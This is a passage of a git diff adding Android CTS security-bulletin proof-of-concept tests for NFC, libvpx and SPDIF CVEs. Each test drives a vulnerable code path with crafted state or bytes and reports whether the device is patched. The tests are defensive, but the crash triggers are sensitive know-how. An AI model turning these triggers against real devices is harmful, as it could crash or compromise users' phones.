+    name: "CVE-2019-2020",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+    ],
+    compile_multilib: "64",
+    shared_libs: [
+        "libnfc-nci",
+    ],
+    include_dirs: [
+        "system/nfc/src/nfc/include",
+        "system/nfc/src/gki/common",
+        "system/nfc/src/gki/ulinux",
+        "system/nfc/src/include",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/poc.cpp
new file mode 100644
index 0000000..ba4d950
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/poc.cpp
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <tags_defs.h>
+#include <llcp_int.h>
+
+#define DEFAULT_SAP 1
+#define LENGTH 0
+
+bool testInProgress = false;
+
+struct sigaction new_action, old_action;
+
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+  if (testInProgress && info->si_signo == SIGSEGV) {
+    (*old_action.sa_sigaction)(signum, info, context);
+    return;
+  }
+  exit(EXIT_FAILURE);
+}
+
+extern tLLCP_CB llcp_cb;
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+
+void GKI_freebuf(void* x) { (void)x; }
+void GKI_start_timer(uint8_t, int32_t, bool) {}
+void GKI_stop_timer(uint8_t) {}
+
+void poc_cback(tRW_EVENT event, tRW_DATA* p_rw_data) {
+  (void)event;
+  (void)p_rw_data;
+}
+
+int32_t main() {
+  sigemptyset(&new_action.sa_mask);
+  new_action.sa_flags = SA_SIGINFO;
+  new_action.sa_sigaction = sigsegv_handler;
+  sigaction(SIGSEGV, &new_action, &old_action);
+
+  tNFC_ACTIVATE_DEVT p_activate_params = {};
+  p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+  p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+  RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+  FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+  GKI_init();
+  llcp_init();
+  for (int32_t n = 0; n < LLCP_MAX_DATA_LINK; ++n) {
+    llcp_cb.dlcb[n].state = LLCP_DLC_STATE_CONNECTED;
+    llcp_cb.dlcb[n].local_sap = DEFAULT_SAP;
+    llcp_cb.dlcb[n].remote_sap = DEFAULT_SAP;
+  }
+
+  testInProgress = true;
+  llcp_dlc_proc_rx_pdu(DEFAULT_SAP, LLCP_PDU_RNR_TYPE, DEFAULT_SAP, LENGTH,
+                       nullptr);
+  testInProgress = false;
+
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/Android.bp
new file mode 100644
index 0000000..639ca91
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/Android.bp
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2019-2031",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    compile_multilib: "64",
+    shared_libs: [
+        "libnfc-nci",
+        "liblog",
+    ],
+    include_dirs: [
+        "system/nfc/src/nfc/include",
+        "system/nfc/src/gki/common",
+        "system/nfc/src/gki/ulinux",
+        "system/nfc/src/include",
+        "system/nfc/src/nfa/include",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/poc.cpp
new file mode 100644
index 0000000..1781237
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/poc.cpp
@@ -0,0 +1,176 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <stdlib.h>
+#include <string.h>
+#include <tags_defs.h>
+
+#define T3T_MSG_FELICALITE_MC_OFFSET 0x01
+
+bool testInProgress = false;
+
+struct sigaction new_action, old_action;
+
+void sigabrt_handler(int signum, siginfo_t *info, void *context) {
+  if (testInProgress && info->si_signo == SIGABRT) {
+    (*old_action.sa_sigaction)(signum, info, context);
+    return;
+  }
+  exit(EXIT_FAILURE);
+}
+
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+tNFC_CONN *p_data;
+void rw_init(void);
+tNFC_STATUS rw_t3t_select(uint8_t peer_nfcid2[NCI_RF_F_UID_LEN],
+                          uint8_t mrti_check, uint8_t mrti_update);
+
+void *allocate_memory(size_t size) {
+  void *ptr = malloc(size);
+  memset(ptr, 0x0, size);
+  return ptr;
+}
+
+/* States */
+enum {
+  RW_T3T_STATE_NOT_ACTIVATED,
+  RW_T3T_STATE_IDLE,
+  RW_T3T_STATE_COMMAND_PENDING
+};
+
+/* Enumeration of API commands */
+enum {
+  RW_T3T_CMD_DETECT_NDEF,
+  RW_T3T_CMD_CHECK_NDEF,
+  RW_T3T_CMD_UPDATE_NDEF,
+  RW_T3T_CMD_CHECK,
+  RW_T3T_CMD_UPDATE,
+  RW_T3T_CMD_SEND_RAW_FRAME,
+  RW_T3T_CMD_GET_SYSTEM_CODES,
+  RW_T3T_CMD_FORMAT,
+  RW_T3T_CMD_SET_READ_ONLY_SOFT,
+  RW_T3T_CMD_SET_READ_ONLY_HARD,
+  RW_T3T_CMD_MAX
+};
+
+/* Sub-states */
+enum {
+  /* Sub states for formatting Felica-Lite */
+  RW_T3T_FMT_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
+   formatting) */
+  RW_T3T_FMT_SST_CHECK_MC_BLK,     /* Waiting for Felica-Lite MC (MemoryControl)
+       block-read to complete */
+  RW_T3T_FMT_SST_UPDATE_MC_BLK,    /* Waiting for Felica-Lite MC (MemoryControl)
+      block-write to complete */
+  RW_T3T_FMT_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
+   to complete */
+
+  /* Sub states for setting Felica-Lite read only */
+  RW_T3T_SRO_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
+   setting read only) */
+  RW_T3T_SRO_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
+   to complete */
+  RW_T3T_SRO_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+   block-read to complete */
+  RW_T3T_SRO_SST_UPDATE_MC_BLK /* Waiting for Felica-Lite MC (MemoryControl)
+   block-write to complete */
+};
+
+void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) {
+  (void)event;
+  (void)p_rw_data;
+}
+
+void GKI_start_timer(uint8_t, int32_t, bool) {}
+
+void GKI_stop_timer(uint8_t) {}
+
+void GKI_freebuf(void *) {}
+
+void exit_handler(void) {
+  if (p_data) {
+    if (p_data->data.p_data) {
+      free(p_data->data.p_data);
+      p_data->data.p_data = nullptr;
+    }
+    free(p_data);
+    p_data = nullptr;
+  }
+}
+
+int main() {
+  atexit(exit_handler);
+  sigemptyset(&new_action.sa_mask);
+  new_action.sa_flags = SA_SIGINFO;
+  new_action.sa_sigaction = sigabrt_handler;
+  sigaction(SIGABRT, &new_action, &old_action);
+
+  tNFC_ACTIVATE_DEVT p_activate_params = {};
+  p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+  p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+  RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+  FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+  tRW_T3T_CB *p_t3t = &rw_cb.tcb.t3t;
+
+  GKI_init();
+  rw_init();
+  rw_cb.p_cback = &poc_cback;
+
+  uint8_t peer_nfcid2[NCI_RF_F_UID_LEN];
+  uint8_t mrti_check = 1, mrti_update = 1;
+  FAIL_CHECK(rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) ==
+             NFC_STATUS_OK)
+
+  p_data = (tNFC_CONN *)allocate_memory(sizeof(tNFC_CONN));
+  FAIL_CHECK(p_data);
+
+  p_data->data.p_data = (NFC_HDR *)allocate_memory(sizeof(NFC_HDR) * 3);
+  FAIL_CHECK(p_data->data.p_data);
+
+  p_data->status = NFC_STATUS_OK;
+
+  p_t3t->cur_cmd = RW_T3T_CMD_CHECK_NDEF;
+  p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING;
+  p_t3t->flags |= RW_T3T_FL_IS_FINAL_NDEF_SEGMENT;
+  p_t3t->ndef_attrib.ln = 0x000F;
+
+  NFC_HDR *p_msg = (p_data->data).p_data;
+  p_msg->offset = 0;
+  p_msg->len = T3T_MSG_RSP_OFFSET_CHECK_DATA + 1;
+
+  uint8_t *p_t3t_rsp = (uint8_t *)(p_msg + 1) + p_msg->offset;
+  p_t3t_rsp[0] = NCI_STATUS_OK;
+  p_t3t_rsp++;
+  p_t3t_rsp[T3T_MSG_RSP_OFFSET_RSPCODE] = T3T_MSG_OPC_CHECK_RSP;
+  p_t3t_rsp[T3T_MSG_RSP_OFFSET_STATUS1] = T3T_MSG_RSP_STATUS_OK;
+  p_t3t_rsp[T3T_MSG_RSP_OFFSET_NUMBLOCKS] = 0;
+
+  tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+  tNFC_CONN_EVT event = NFC_DATA_CEVT;
+  memcpy(p_t3t->peer_nfcid2, &p_t3t_rsp[T3T_MSG_RSP_OFFSET_IDM],
+         NCI_NFCID2_LEN);
+  testInProgress = true;
+  p_cb->p_cback(0, event, p_data);
+  testInProgress = false;
+
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp
new file mode 100644
index 0000000..aa9a2f9
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2020-0034",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+    ],
+    compile_multilib: "32",
+    arch: {
+        arm: {
+            include_dirs: [
+                "external/libvpx/config/arm-neon",
+            ],
+            shared_libs: [
+                "libvpx",
+            ],
+            cflags: [
+                "-DTEST_ARM32",
+            ],
+        },
+    },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp
new file mode 100644
index 0000000..cc7cc22
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp
@@ -0,0 +1,109 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <stdlib.h>
+
+#ifdef TEST_ARM32
+#include <unistd.h>
+#include "../includes/common.h"
+
+#include <string.h>
+#include <algorithm>
+#include <vector>
+#include "vpx/vp8dx.h"
+#include "vpx/vpx_decoder.h"
+#include "vpx_ports/mem_ops.h"
+
+#define IVF_FILE_HDR_SZ 32
+#define IVF_FRAME_HDR_SZ (4 + 8) /* 4 byte size + 8 byte timestamp */
+
+FILE *fp = nullptr;
+
+void exitHandler(void) {
+    if (fp) {
+        fclose(fp);
+    }
+}
+
+bool testInProgress = false;
+struct sigaction new_action, old_action;
+void sigabrt_handler(int32_t signum, siginfo_t *info, void* context) {
+    if (testInProgress && info->si_signo == SIGABRT) {
+        (*old_action.sa_sigaction)(signum, info, context);
+        return;
+    }
+    _exit(EXIT_FAILURE);
+}
+#endif
+
+int32_t main(int32_t argc, char **argv) {
+    (void)argc;
+    (void)argv;
+
+#ifdef TEST_ARM32
+    atexit(exitHandler);
+
+    sigemptyset(&new_action.sa_mask);
+    new_action.sa_flags = SA_SIGINFO;
+    new_action.sa_sigaction = sigabrt_handler;
+    sigaction(SIGABRT, &new_action, &old_action);
+
+    FAIL_CHECK(argc >= 2);
+    fp = fopen(argv[1], "rb");
+    FAIL_CHECK(fp);
+
+    fseek(fp, 0, SEEK_END);
+    size_t size = ftell(fp);
+    fseek(fp, 0, SEEK_SET);
+    FAIL_CHECK(size > IVF_FILE_HDR_SZ);
+
+    std::vector<uint8_t> buffer(size);
+    FAIL_CHECK(fread((void *)buffer.data(), sizeof(uint8_t), size, fp) == size);
+
+    vpx_codec_ctx_t codec;
+    vpx_codec_dec_cfg_t cfg;
+    memset(&cfg, 0, sizeof(vpx_codec_dec_cfg_t));
+    cfg.threads = 1;
+    FAIL_CHECK(vpx_codec_dec_init(&codec, &vpx_codec_vp8_dx_algo, &cfg, 0) == VPX_CODEC_OK);
+
+    uint8_t *data = buffer.data();
+    data += IVF_FILE_HDR_SZ;
+    size -= IVF_FILE_HDR_SZ;
+
+    while (size > IVF_FRAME_HDR_SZ) {
+        size_t frame_size = mem_get_le32(data);
+        size -= IVF_FRAME_HDR_SZ;
+        data += IVF_FRAME_HDR_SZ;
+        frame_size = std::min(size, frame_size);
+
+        testInProgress = true;
+        vpx_codec_decode(&codec, data, frame_size, nullptr, 0);
+        testInProgress = false;
+
+        vpx_codec_iter_t iter = nullptr;
+        vpx_image_t *img = nullptr;
+        while ((img = vpx_codec_get_frame(&codec, &iter)) != nullptr) {
+            if (img->d_w > img->w || img->d_h > img->h) {
+                return EXIT_VULNERABLE;
+            }
+        }
+        data += frame_size;
+        size -= frame_size;
+    }
+    vpx_codec_destroy(&codec);
+#endif
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/Android.bp
index 807b9106..2a5682f 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,6 +14,7 @@
  * limitations under the License.
  *
  */
+
 package {
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp
index d6ea446..8249c0c 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp
@@ -19,6 +19,16 @@
 #include <nfc_api.h>
 #include <rw_int.h>
 
+bool isTestInProgress = false;
+struct sigaction new_action, old_action;
+void sigabrt_handler(int signum, siginfo_t* info, void* context) {
+    if (isTestInProgress && info->si_signo == SIGABRT) {
+        (*old_action.sa_sigaction)(signum, info, context);
+        return;
+    }
+    exit(EXIT_FAILURE);
+}
+
 extern tRW_CB rw_cb;
 void rw_init(void);
 void rw_t2t_handle_rsp(uint8_t* p_data);
@@ -28,6 +38,17 @@
 }
 
 int main() {
+    sigemptyset(&new_action.sa_mask);
+    new_action.sa_flags = SA_SIGINFO;
+    new_action.sa_sigaction = sigabrt_handler;
+    sigaction(SIGABRT, &new_action, &old_action);
+
+    tNFC_ACTIVATE_DEVT p_activate_params = {};
+    p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+    p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+    RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+    FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
     tRW_T2T_CB* p_t2t = &rw_cb.tcb.t2t;
     rw_init();
     rw_cb.p_cback = &poc_cback;
@@ -38,6 +59,8 @@
     p_t2t->bytes_count = 1;
     p_t2t->num_lockbytes = RW_T2T_MAX_LOCK_BYTES;
     uint8_t data[T2T_READ_DATA_LEN];
+    isTestInProgress = true;
     rw_t2t_handle_rsp(data);
+    isTestInProgress = false;
     return EXIT_SUCCESS;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/Android.bp
new file mode 100644
index 0000000..31fbfd2
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/Android.bp
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2020-0458",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+    ],
+    shared_libs: [
+        "libaudiospdif",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/poc.cpp
new file mode 100644
index 0000000..dbb4ee5
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/poc.cpp
@@ -0,0 +1,75 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include <audio_utils/spdif/SPDIFEncoder.h>
+#include "../includes/common.h"
+
+// Taken as a reference from audio_utils/tests/spdif_tests.cpp "MySPDIFEncoder"
+class PocSPDIFEncoder : public android::SPDIFEncoder {
+ public:
+
+    explicit PocSPDIFEncoder(audio_format_t format)
+            : SPDIFEncoder(format) {
+    }
+
+    PocSPDIFEncoder() = default;
+
+    size_t getBurstBufferSizeBytes() const {
+        return mBurstBufferSizeBytes;
+    }
+
+    size_t getByteCursor() const {
+        return mByteCursor;
+    }
+
+    android::FrameScanner *getFramer() const {
+        return mFramer;
+    }
+
+    size_t getPayloadBytesPending() const {
+        return mPayloadBytesPending;
+    }
+
+    ssize_t writeOutput(const void*, size_t numBytes) override {
+        mOutputSizeBytes = numBytes;
+        return numBytes;
+    }
+
+    size_t mOutputSizeBytes = 0;
+};
+
+int main() {
+    PocSPDIFEncoder encoder(AUDIO_FORMAT_E_AC3);
+
+    // Beginning of the file channelcheck_48k6ch.eac3 with frame size
+    // forced to zero
+    uint8_t buf[] = { 0x0B, 0x77, 0x00, 0x00, 0x3F, 0x85, 0x7F, 0xE8, 0x1E,
+            0x40, 0x82, 0x10, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03,
+            0xFC, 0x60, 0x80, 0x7E, 0x59, 0x00, 0xFC, 0xF3, 0xCF, 0x01, 0xF9,
+            0xE7 };
+    encoder.write(buf, sizeof(buf));
+
+    size_t bufferSize = encoder.getBurstBufferSizeBytes();
+
+    // If vulnerability is present, 'mPayloadBytesPending' will be assigned
+    // a large overflowed value
+    size_t pendingBytes = encoder.getPayloadBytesPending();
+
+    // 'mBurstBufferSizeBytes' shouldn't be lesser than 'mPayloadBytesPending',
+    // this will happen if 'mPayloadBytesPending' holds a overflowed value
+    return (bufferSize < pendingBytes) ? EXIT_VULNERABLE : EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
deleted file mode 100644
index bcbf54f..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ /dev/null
@@ -1,26 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at:
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- *
- */
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-cc_test {
-    name: "CVE-2020-29368",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29374/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29374/Android.bp
new file mode 100644
index 0000000..6595bcc
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29374/Android.bp
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2020-29374",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.cpp",],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29374/poc.cpp
similarity index 100%
rename from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/poc.cpp
rename to hostsidetests/securitybulletin/securityPatch/CVE-2020-29374/poc.cpp
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp
index 700935c..5033b2e 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp
index 947f46a..bb3bdc2 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,74 +14,116 @@
  * limitations under the License.
  */
 
+#include <../includes/common.h>
+#include <../includes/memutils.h>
 #include <nfc_int.h>
 #include <rw_int.h>
 
 #define RW_MFC_STATE_READ_NDEF 0x03
 #define RW_MFC_SUBSTATE_READ_BLOCK 0x03
+#define RW_MFC_DATA_LEN 0x10
+#define P_MFC_NDEF_LENGTH 1024
 
 extern tRW_CB rw_cb;
+tNFC_CONN *p_data = nullptr;
+tRW_MFC_CB *p_mfc = nullptr;
 
-void GKI_freebuf(void*) {
+char enable_selective_overload = ENABLE_NONE;
+
+bool isTestInProgress = false;
+struct sigaction new_action, old_action;
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+    if (isTestInProgress && info->si_signo == SIGSEGV) {
+        (*old_action.sa_sigaction)(signum, info, context);
+        return;
+    }
+    exit(EXIT_FAILURE);
 }
 
-void GKI_start_timer(uint8_t, int32_t, bool) {
+void GKI_freebuf(void *) {}
+
+void GKI_start_timer(uint8_t, int32_t, bool) {}
+
+void GKI_stop_timer(uint8_t) {}
+
+void cback(tRW_EVENT, tRW_DATA *) {}
+
+void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) {
+    (void)event;
+    (void)p_rw_data;
 }
 
-void GKI_stop_timer(uint8_t) {
-}
+void exit_handler(void) {
+    if (p_data) {
+        if (p_data->data.p_data) {
+            free(p_data->data.p_data);
+            p_data->data.p_data = nullptr;
+        }
+        free(p_data);
+        p_data = nullptr;
+    }
 
-void cback(tRW_EVENT, tRW_DATA*) {
+    if (p_mfc) {
+        if (p_mfc->p_ndef_buffer) {
+            free(p_mfc->p_ndef_buffer);
+            p_mfc->p_ndef_buffer = nullptr;
+        }
+        free(p_mfc);
+        p_mfc = nullptr;
+    }
 }
 
 int main() {
-    tRW_MFC_CB* p_mfc = &rw_cb.tcb.mfc;
+    atexit(exit_handler);
+    sigemptyset(&new_action.sa_mask);
+    new_action.sa_flags = SA_SIGINFO;
+    new_action.sa_sigaction = sigsegv_handler;
+    sigaction(SIGSEGV, &new_action, &old_action);
+
+    tNFC_ACTIVATE_DEVT p_activate_params = {};
+    p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+    p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+    RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+    FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+    p_mfc = &rw_cb.tcb.mfc;
 
     GKI_init();
     rw_init();
 
     uint8_t selres = 1;
-    uint8_t uid[MFC_UID_LEN] = { 1 };
-    if (rw_mfc_select(selres, uid) != NFC_STATUS_OK) {
-        return EXIT_FAILURE;
-    }
+    uint8_t uid[MFC_UID_LEN] = {1};
+
+    enable_selective_overload = ENABLE_MALLOC_CHECK;
+    FAIL_CHECK(rw_mfc_select(selres, uid) == NFC_STATUS_OK);
 
     p_mfc->state = RW_MFC_STATE_READ_NDEF;
     p_mfc->substate = RW_MFC_SUBSTATE_READ_BLOCK;
 
-    tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+    tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
 
-    tNFC_CONN* p_data = (tNFC_CONN*) malloc(sizeof(tNFC_CONN));
-    if (!p_data) {
-        return EXIT_FAILURE;
-    }
+    p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
